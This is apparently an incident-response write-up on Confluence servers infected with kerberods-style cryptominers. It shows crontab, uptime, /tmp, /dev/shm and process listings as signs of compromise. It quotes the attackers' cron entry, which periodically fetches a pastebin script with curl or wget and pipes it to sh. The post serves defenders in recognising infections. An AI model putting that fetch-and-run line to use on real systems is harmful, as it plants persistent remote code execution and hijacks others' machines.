we'll post findings from an infected confluence-systems we investigated recently, to show how it looks/feel like. the most systems we took a look at were infected with mining-bots like kerberods.
Infection took place via the latest and greatest Confluence-RCE-Vuln
awkward crontab-entries for a user
/var/spool/cron/crontabs # ls -lrth
total 4.0K
-rw------- 1 root netdev 285 Apr 15 15:34 tmp.Rj8JOI
-rw-r--r-- 1 root netdev 0 Apr 16 12:42 root
cat tmp.Rj8JOI
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Mon Apr 15 17:34:25 2019)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
*/10 * * * * (curl -fsSL https://pastebin.com/raw/404NoMore||wget -q -O- https://pastebin.com/raw/404NoMore)|sh
a good amount of load, even on non-used systems
- at least your monitoring can detect this
# uptime
06:51:47 up 200 days, 23:55, 0 users, load average: 7.53, 6.82, 6.13
07:34:00 up 46 days, 22:57, 0 users, load average: 6.04, 6.10, 6.04
files in /tmp that look suspicious
- see below for the lok_bot
- at least you get an infection-date
# ls -la /tmp
total 1460
drwxrwxrwt 1 root root 4096 Apr 29 08:05 .
drwxr-xr-x 1 root ro 4096 May 10 2018 ..
-rw-r--r-- 1 usr1 usr1 0 Apr 27 14:17 .354da7
-rw-r--r-- 1 usr1 usr1 5 Apr 22 06:23 .XIMunix
drwxr-xr-x 2 usr1 usr1 4096 Apr 19 17:45 .dba <-- Bot
drwxrwx--- 2 usr1 usr1 4096 Apr 27 21:42 .sysinfo <-- Bot
-rw-r--r-- 1 usr1 usr1 20094 Apr 27 20:33 fk <-- KillerBot
drwxr-xr-x 2 usr1 usr1 4096 Mar 13 08:41 hsperfdata_usr1
drwxr-xr-x 2 root root 4096 Oct 7 2016 hsperfdata_root
-rwx------ 1 usr1 usr1 480296 Apr 27 21:42 ib_cm
-rwx------ 1 usr1 usr1 480296 Apr 27 21:42 kworker_0:2
-rwx------ 1 usr1 usr1 473096 Apr 22 18:30 kworker_1:1
-rw-r--r-- 1 usr1 usr1 0 Apr 19 18:04 lok <-- Bot
-rw-r--r-- 1 usr1 usr1 12 Apr 27 20:33 tmp1 <-- Bot
-rw-r--r-- 1 usr1 usr1 0 Apr 21 18:25 .changgggeerror <--Bot
drwxr-xr-x 2 usr1 usr1 4096 Apr 27 15:18 .dba <-- Bot
-rw-r--r-- 1 usr1 usr1 0 Apr 29 06:38 .dbb <-- Bot
-rw-r--r-- 1 usr1 usr1 290 Apr 17 06:57 04dlOCl <-- Bot
-rw-r--r-- 1 usr1 usr1 290 Apr 21 04:50 09m4JAO <-- Bot
-rw-r--r-- 1 usr1 usr1 160 Apr 17 07:17 0B74AiN <-- Bot
-rw-r--r-- 1 usr1 usr1 290 Apr 24 06:28 0C3GIEc <-- Bot
-rw-r--r-- 1 usr1 usr1 160 Apr 14 22:50 1LgBCd8 <-- Bot
-rw-r--r-- 1 usr1 usr1 160 Apr 14 21:03 jEgLnBc <-- Bot
-rwxr-xr-x 1 usr1 usr1 1099016 Apr 29 06:38 jGcLFA1 <-- Bot
drwxr-xr-x 2 usr1 usr1 4096 Apr 19 12:47 khugepageds <-- Bot
-rw-r--r-- 1 usr1 usr1 290 Apr 23 00:22 lIFa09m <-- Bot
-rw-r--r-- 1 usr1 usr1 160 Apr 14 11:26 lLNCeDg <-- Bot
-rw-r--r-- 1 usr1 usr1 290 Apr 15 00:37 lMBH5ME <-- Bot
-rw-r--r-- 1 usr1 usr1 160 Apr 27 14:55 lalmC9B <-- Bot
-rw-r--r-- 1 usr1 usr1 160 Apr 24 17:08 lc6hCJM <-- Bot
-rw-r--r-- 1 usr1 usr1 160 Apr 23 03:33 lgl7kBp <-- Bot
-rw-r--r-- 1 usr1 usr1 160 Apr 23 11:32 m3eP059 <-- Bot
--- 400 lines deleted ----
files in /dev/shm that looks suspiciuous
- see below for the bot
- at least you get an infection-date
# ls -la /dev/shm
total 8
drwxrwxrwt 2 root root 60 Apr 18 17:53 .
drwxr-xr-x 5 root root 340 Oct 10 2018 ..
-rw-r--r-- 1 daemon daemon 7141 Apr 18 16:33 bt1.txt
the first confirmed/successful waves started 2019-04-14
-rwxrwxrwx 1 daemon daemon 621K Mar 18 06:51 1mm6dgJ <-- maybe?
-rw-r--r-- 1 daemon daemon 0 Apr 12 07:48 ec2a6 <-- ???
-rw-r--r-- 1 daemon daemon 0 Apr 12 07:48 de33f4f911f20761 <-- ???
-rw-r--r-- 1 daemon daemon 290 Apr 14 01:12 L2AJgih <-- exploit
-rw-r--r-- 1 daemon daemon 160 Apr 14 01:12 77Ink36 <-- exploit
-rw-r--r-- 1 daemon daemon 290 Apr 14 01:15 H4m361b <-- exploit
-rw-r--r-- 1 daemon daemon 160 Apr 14 01:15 1Gn6il2 <-- exploit
-rw-r--r-- 1 daemon daemon 290 Apr 14 01:29 JnImMDp <-- exploit
-rw-r--r-- 1 daemon daemon 160 Apr 14 01:29 8N128a8 <-- exploit
-rw-r--r-- 1 daemon daemon 290 Apr 14 01:50 1bI0A61 <-- exploit
-rw-r--r-- 1 daemon daemon 160 Apr 14 01:50 Jb2jHPC <-- exploit
-rw-r--r-- 1 daemon daemon 290 Apr 14 02:03 aEEC4K5 <-- exploit
looooots of zombie-processes
# ps -ef
UID PID PPID C STIME TTY TIME CMD
usr1 1 0 1 Mar13 ? 12:56:36 /usr/bin/java -Djava.util.logging.config.file=/opt/atlassian/confluence/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Xms1024m -Xmx8192m -XX:MaxPermSize=512m -XX:+UseG1GC -Djava.awt.headless=true -Xloggc:/opt/atlassian/confluence/logs/gc-2019-03-13_08-41-53.log -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=5 -XX:GCLogFileSize=2M -XX:-PrintGCDetails -XX:+PrintGCTimeStamps -XX:-PrintTenuringDistribution -Djava.endorsed.dirs=/opt/atlassian/confluence/endorsed -classpath /opt/atlassian/confluence/bin/bootstrap.jar:/opt/atlassian/confluence/bin/tomcat-juli.jar -Dcatalina.base=/opt/atlassian/confluence -Dcatalina.home=/opt/atlassian/confluence -Djava.io.tmpdir=/opt/atlassian/confluence/temp org.apache.catalina.startup.Bootstrap start
usr1 336 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 339 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 354 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 361 1 0 Apr17 ? 00:00:00 [kill] <defunct>
usr1 382 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 403 1 0 Apr18 ? 00:00:00 [kill] <defunct>
usr1 415 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 427 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 462 1 0 Apr22 ? 00:00:00 [kill] <defunct>
usr1 508 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 516 1 0 Apr18 ? 00:00:00 [kill] <defunct>
usr1 529 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 539 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 544 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 597 1 0 Apr22 ? 00:00:00 [kill] <defunct>
usr1 599 1 0 Apr18 ? 00:00:00 [kill] <defunct>
usr1 642 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 644 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 648 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 663 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 688 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 756 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 858 1 0 Apr22 ? 00:00:00 [kill] <defunct>
usr1 903 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 960 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 1015 1 0 Apr17 ? 00:00:00 [sh] <defunct>
usr1 1072 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 1086 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 1131 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 1274 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 1339 1 0 Apr21 ? 00:00:00 [sh] <defunct>
usr1 1341 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 1350 1 0 Apr21 ? 00:00:00 [sh] <defunct>
usr1 1395 1 0 Apr21 ? 00:00:00 [sh] <defunct>
usr1 1422 1 0 Apr21 ? 00:00:00 [sh] <defunct>
usr1 1434 1 0 Apr21 ? 00:00:00 [sh] <defunct>
usr1 1458 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 1523 1 0 Apr21 ? 00:00:00 [sh] <defunct>
usr1 1559 1 0 Apr21 ? 00:00:00 [sh] <defunct>
usr1 1614 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 1664 1 0 Apr21 ? 00:00:00 [sh] <defunct>
usr1 1726 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 1727 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 1748 1 0 Apr17 ? 00:00:00 [kill] <defunct>
usr1 1767 1 0 Apr21 ? 00:00:01 [sh] <defunct>
usr1 1828 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 1850 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 1886 1 0 Apr21 ? 00:00:00 [sh] <defunct>
usr1 1930 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 1954 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 2064 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 2145 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 2239 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 2266 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 2298 1 0 Apr19 ? 00:00:00 [sh] <defunct>
usr1 2321 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 2322 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 2325 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 2360 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 2387 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 2409 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 2472 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 2524 1 0 Apr19 ? 00:00:00 [sh] <defunct>
usr1 2605 1 0 Apr21 ? 00:00:00 [sh] <defunct>
usr1 2629 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 2788 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 2824 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 2858 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 2879 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 2881 1 0 Apr19 ? 00:00:00 [sh] <defunct>
usr1 2890 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 2900 1 0 Apr18 ? 00:00:00 [sh] <defunct>
usr1 2932 1 0 Apr22 ? 00:00:00 [touch] <defunct>
usr1 2941 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 3037 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 3138 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 3164 1 0 Apr18 ? 00:00:00 [kill] <defunct>
usr1 3316 1 0 Apr19 ? 00:00:00 [sh] <defunct>
usr1 3344 1 0 Apr21 ? 00:00:00 [kill] <defunct>
usr1 3367 1 0 Apr18 ? 00:00:00 [sh] <defunct>
usr1 3573 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 3586 1 0 Apr18 ? 00:00:00 [sh] <defunct>
usr1 3622 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 3842 1 0 Apr18 ? 00:00:00 [kill] <defunct>
usr1 3865 1 0 Apr18 ? 00:00:00 [kill] <defunct>
usr1 4089 1 0 Apr17 ? 00:00:00 [sh] <defunct>
usr1 4168 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 4341 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 4353 1 0 Apr17 ? 00:00:00 [kill] <defunct>
usr1 5258 1 0 Apr22 ? 00:00:01 [sh] <defunct>
usr1 5363 1 0 Apr21 ? 00:00:01 [sh] <defunct>
usr1 5393 1 0 Apr22 ? 00:00:00 [bash] <defunct>
usr1 5405 1 0 Apr17 ? 00:00:00 [sh] <defunct>
usr1 5425 1 0 Apr22 ? 00:00:00 [sleep] <defunct>
usr1 5429 1 0 Apr17 ? 00:00:00 [kill] <defunct>
usr1 5577 1 0 Apr21 ? 00:00:01 [sh] <defunct>
usr1 5909 1 0 Apr21 ? 00:00:01 [sh] <defunct>
usr1 5973 1 0 Apr21 ? 00:00:01 [sh] <defunct>
usr1 5991 1 82 Apr21 ? 6-20:15:12 [khugepageds] <defunct>
usr1 6028 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 6085 1 0 Apr21 ? 00:00:01 [sh] <defunct>
usr1 6149 1 0 Apr21 ? 00:00:01 [sh] <defunct>
usr1 6174 1 0 Apr21 ? 00:00:01 [sh] <defunct>
usr1 6284 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 6299 1 0 Apr21 ? 00:00:01 [sh] <defunct>
usr1 6485 1 0 Apr19 ? 00:00:00 [sh] <defunct>
usr1 6535 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 6560 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 6574 1 0 Apr21 ? 00:00:01 [sh] <defunct>
usr1 6664 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 6704 1 0 Apr19 ? 00:00:01 [sh] <defunct>
usr1 6751 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 6853 1 0 Apr19 ? 00:00:00 [sh] <defunct>
usr1 6877 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 6907 1 0 Apr19 ? 00:00:00 [sh] <defunct>
usr1 6959 1 0 Apr22 ? 00:00:00 [kill] <defunct>
usr1 7083 1 0 Apr21 ? 00:00:01 [sh] <defunct>
usr1 7118 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 7163 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 7292 1 0 Apr19 ? 00:00:00 [sh] <defunct>
usr1 7300 1 0 Apr20 ? 00:00:01 [sh] <defunct>
usr1 7513 1 0 Apr18 ? 00:00:00 [sh] <defunct>
usr1 7522 1 0 Apr18 ? 00:00:00 [sh] <defunct>
usr1 7537 1 0 Apr18 ? 00:00:00 [kill] <defunct>
usr1 7653 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 7771 1 0 Apr18 ? 00:00:00 [kill] <defunct>
usr1 7820 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 8022 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 8056 1 0 Apr20 ? 00:00:01 [sh] <defunct>
usr1 8198 1 0 Apr14 ? 00:00:00 [kerberods] <defunct>
usr1 8203 1 0 Apr14 ? 00:12:14 [kerberods] <defunct>
usr1 8252 1 27 Apr14 ? 3-23:22:25 [khugepageds] <defunct>
usr1 8656 1 0 Apr17 ? 00:00:00 [sh] <defunct>
usr1 8743 1 0 Apr18 ? 00:00:00 [kill] <defunct>
usr1 8912 1 0 Apr17 ? 00:00:00 [kill] <defunct>
usr1 9042 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 9763 1 0 Apr10 ? 00:00:00 [kerberods] <defunct>
usr1 9768 1 0 Apr10 ? 00:37:13 [kerberods] <defunct>
usr1 9771 1 0 Apr17 ? 00:00:00 [sh] <defunct>
usr1 9806 1 39 Apr10 ? 7-09:16:20 [khugepageds] <defunct>
usr1 10022 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 10036 1 0 Apr17 ? 00:00:00 [kill] <defunct>
usr1 10505 1 0 Apr19 ? 00:00:00 [sh] <defunct>
usr1 10717 1 0 Apr12 ? 00:00:00 [kerberods] <defunct>
usr1 10722 1 0 Apr12 ? 00:17:13 [kerberods] <defunct>
usr1 10761 1 65 Apr12 ? 11-06:36:39 [khugepageds] <defunct>
usr1 10764 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 10834 1 0 Apr22 ? 00:00:00 [bash] <defunct>
usr1 10854 1 0 Apr19 ? 00:00:00 [sh] <defunct>
usr1 10907 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 10943 1 0 Apr19 ? 00:00:00 [sh] <defunct>
usr1 11083 1 0 Apr22 ? 00:00:00 [kerberods] <defunct>
usr1 11089 1 0 Apr22 ? 00:26:43 [kerberods] <defunct>
usr1 11138 1 0 Apr22 ? 00:11:07 [khugepageds] <defunct>
usr1 11390 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 11512 1 0 Apr18 ? 00:00:00 [sh] <defunct>
usr1 11743 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 12151 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 12174 1 0 Apr22 ? 00:00:00 [sleep] <defunct>
usr1 12247 1 0 Apr18 ? 00:00:00 [kill] <defunct>
usr1 12404 1 0 Apr18 ? 00:00:00 [sh] <defunct>
usr1 12534 1 0 Apr22 ? 00:00:00 [26d60ac947903df] <defunct>
usr1 12536 1 31 Apr22 ? 2-01:39:08 [kworker_1:1] <defunct>
usr1 12664 1 0 Apr17 ? 00:00:00 [sh] <defunct>
usr1 12707 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 12832 1 0 Apr22 ? 00:00:00 [sleep] <defunct>
usr1 12893 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 12920 1 0 Apr17 ? 00:00:00 [kill] <defunct>
usr1 13074 1 0 Apr22 ? 00:00:00 [sleep] <defunct>
usr1 13135 1 0 Apr18 ? 00:00:00 [kill] <defunct>
usr1 13687 1 0 Apr22 ? 00:00:00 [sleep] <defunct>
usr1 13723 1 0 Apr17 ? 00:00:00 [sh] <defunct>
usr1 13747 1 0 Apr17 ? 00:00:00 [kill] <defunct>
usr1 13929 1 0 Apr22 ? 00:00:00 [sleep] <defunct>
usr1 14452 1 0 Apr19 ? 00:00:00 [sh] <defunct>
usr1 14589 1 0 Apr22 ? 00:00:00 [sleep] <defunct>
usr1 14829 1 0 Apr23 ? 00:00:00 [sleep] <defunct>
usr1 15044 1 0 Apr19 ? 00:00:00 [sh] <defunct>
usr1 15452 1 0 Apr23 ? 00:00:00 [sleep] <defunct>
usr1 15692 1 0 Apr23 ? 00:00:00 [sleep] <defunct>
usr1 15698 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 15701 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 15704 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 15772 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 15831 1 0 Apr19 ? 00:00:00 [sh] <defunct>
usr1 15946 1 0 Apr18 ? 00:00:00 [sh] <defunct>
usr1 15982 1 0 Apr22 ? 00:00:00 [touch] <defunct>
usr1 16055 1 0 Apr23 ? 00:00:00 [26d60ac947903df] <defunct>
usr1 16057 1 99 Apr23 ? 28-10:29:11 [ib_cm] <defunct>
usr1 16353 1 0 Apr23 ? 00:00:00 [sleep] <defunct>
usr1 16459 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 16674 1 0 Apr18 ? 00:00:00 [kill] <defunct>
usr1 16697 1 0 Apr17 ? 00:00:00 [sh] <defunct>
usr1 16717 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 16783 1 0 Apr18 ? 00:00:00 [sh] <defunct>
usr1 16796 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 16797 1 0 Apr23 ? 00:00:00 [sed] <defunct>
usr1 16798 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 16871 1 0 Apr23 ? 00:00:00 [ps] <defunct>
usr1 16872 1 0 Apr23 ? 00:00:00 [grep] <defunct>
usr1 16873 1 0 Apr23 ? 00:00:00 [grep] <defunct>
usr1 16874 1 0 Apr23 ? 00:00:00 [awk] <defunct>
usr1 16875 1 0 Apr23 ? 00:00:00 [xargs] <defunct>
usr1 16953 1 0 Apr17 ? 00:00:00 [kill] <defunct>
usr1 17117 1 0 Apr23 ? 00:00:00 [sleep] <defunct>
usr1 17123 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 17284 1 0 Apr20 ? 00:00:00 [kill] <defunct>
usr1 17397 1 0 Apr17 ? 00:00:00 [sh] <defunct>
usr1 17728 1 0 Apr23 ? 00:00:00 [sleep] <defunct>
usr1 17799 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 17973 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 18140 1 0 Apr17 ? 00:00:00 [kill] <defunct>
usr1 18225 1 0 Apr18 ? 00:00:00 [kill] <defunct>
usr1 18445 1 0 Apr22 ? 00:00:00 [bash] <defunct>
usr1 18476 1 0 Apr22 ? 00:00:00 [sleep] <defunct>
usr1 18580 1 0 Apr23 ? 00:00:00 [sleep] <defunct>
usr1 18824 1 0 Apr23 ? 00:00:00 [sleep] <defunct>
usr1 18829 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 18830 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 18833 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 18836 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 18852 1 0 Apr21 ? 00:00:00 [sleep] <defunct>
usr1 18870 1 0 Apr21 ? 00:00:00 [sh] <defunct>
usr1 19051 1 0 Apr16 ? 00:00:00 [sh] <defunct>
usr1 19270 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 19315 1 0 Apr16 ? 00:00:00 [kill] <defunct>
usr1 19438 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 19471 1 0 Apr19 ? 00:00:00 [sh] <defunct>
usr1 19635 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 19639 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 19728 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 19889 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 20022 1 0 Apr23 ? 00:00:00 [ps] <defunct>
usr1 20023 1 0 Apr23 ? 00:00:00 [grep] <defunct>
usr1 20024 1 0 Apr23 ? 00:00:00 [grep] <defunct>
usr1 20025 1 0 Apr23 ? 00:00:00 [awk] <defunct>
usr1 20026 1 0 Apr23 ? 00:00:00 [xargs] <defunct>
usr1 20298 1 0 Apr23 ? 00:00:00 [sleep] <defunct>
usr1 20371 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 20388 1 0 Apr18 ? 00:00:00 [sh] <defunct>
usr1 20417 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 20476 1 0 Apr23 ? 00:00:00 [ps] <defunct>
usr1 20477 1 0 Apr23 ? 00:00:00 [grep] <defunct>
usr1 20478 1 0 Apr23 ? 00:00:00 [grep] <defunct>
usr1 20479 1 0 Apr23 ? 00:00:00 [awk] <defunct>
usr1 20480 1 0 Apr23 ? 00:00:00 [xargs] <defunct>
usr1 20533 1 0 Apr20 ? 00:00:00 [sh] <defunct>
usr1 20747 1 0 Apr18 ? 00:00:00 [sh] <defunct>
usr1 20771 1 0 Apr18 ? 00:00:00 [kill] <defunct>
usr1 21018 1 0 Apr18 ? 00:00:00 [kill] <defunct>
usr1 21097 1 0 Apr23 ? 00:00:00 [sleep] <defunct>
usr1 21170 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 21305 1 0 Apr22 ? 00:00:00 [touch] <defunct>
usr1 21310 1 0 Apr23 ? 00:00:00 [ps] <defunct>
usr1 21311 1 0 Apr23 ? 00:00:00 [grep] <defunct>
usr1 21312 1 0 Apr23 ? 00:00:00 [grep] <defunct>
usr1 21313 1 0 Apr23 ? 00:00:00 [awk] <defunct>
usr1 21314 1 0 Apr23 ? 00:00:00 [xargs] <defunct>
usr1 21321 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 21324 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 21327 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 21366 1 0 Apr18 ? 00:00:00 [kill] <defunct>
usr1 21579 1 0 Apr19 ? 00:00:08 [sh] <defunct>
usr1 21785 1 0 Apr17 ? 00:00:00 [sh] <defunct>
usr1 21809 1 0 Apr17 ? 00:00:00 [kill] <defunct>
usr1 21878 1 0 Apr18 ? 00:00:00 [sh] <defunct>
usr1 21931 1 0 Apr23 ? 00:00:00 [sleep] <defunct>
usr1 22375 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 22614 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 22747 1 0 Apr23 ? 00:00:00 [ps] <defunct>
usr1 22748 1 0 Apr23 ? 00:00:00 [grep] <defunct>
usr1 22749 1 0 Apr23 ? 00:00:00 [grep] <defunct>
usr1 22750 1 0 Apr23 ? 00:00:00 [awk] <defunct>
usr1 22751 1 0 Apr23 ? 00:00:00 [xargs] <defunct>
usr1 22758 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 22761 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 22764 1 0 Apr23 ? 00:00:00 [sh] <defunct>
usr1 23119 1 0 Apr23 ? 00:00:00 [curl] <defunct>
usr1 23171 1 0 Apr23 ? 00:00:00 [ps] <defunct>
usr1 23172 1 0 Apr23 ? 00:00:00 [grep] <defunct>
usr1 23173 1 0 Apr23 ? 00:00:00 [grep] <defunct>
usr1 23174 1 0 Apr23 ? 00:00:00 [grep] <defunct>
usr1 23175 1 0 Apr19 ? 00:00:00 [sh] <defunct>
usr1 23176 1 0 Apr23 ? 00:00:00 [grep] <defunct>
usr1 23177 1 0 Apr23 ? 00:00:00 [grep] <defunct>
usr1 23178 1 0 Apr23 ? 00:00:00 [grep] <defunct>
usr1 23179 1 0 Apr23 ? 00:00:00 [awk] <defunct>
usr1 23180 1 0 Apr23 ? 00:00:00 [grep] <defunct>
usr1 23181 1 0 Apr23 ? 00:00:00 [xargs] <defunct>
usr1 23432 1 0 Apr19 ? 00:00:00 [sh] <defunct>
usr1 23769 1 0 Apr22 ? 00:00:00 [bash] <defunct>
usr1 23800 1 0 Apr22 ? 00:00:00 [sleep] <defunct>
usr1 23810 1 0 Apr23 ? 00:00:00 [sleep] <defunct>
usr1 23858 1 0 Apr19 ? 00:00:00 [sh] <defunct>
usr1 23882 1 0 Apr24 ? 00:00:00 [sh] <defunct>
usr1 24055 1 0 Apr24 ? 00:00:00 [sh] <defunct>
usr1 24135 1 0 Apr19 ? 00:00:00 [kill] <defunct>
usr1 24675 1 0 Apr24 ? 00:00:00 [sleep] <defunct>
usr1 24683 1 0 Apr24 ? 00:00:00 [sh] <defunct>
usr1 24686 1 0 Apr24 ? 00:00:00 [sh] <defunct>
usr1 24689 1 0 Apr24 ? 00:00:00 [sh] <defunct>
usr1 24767 1 0 Apr18 ? 00:00:00 [sh] <defunct>
usr1 25036 1 0 Apr18 ? 00:00:00 [sh] <defunct>
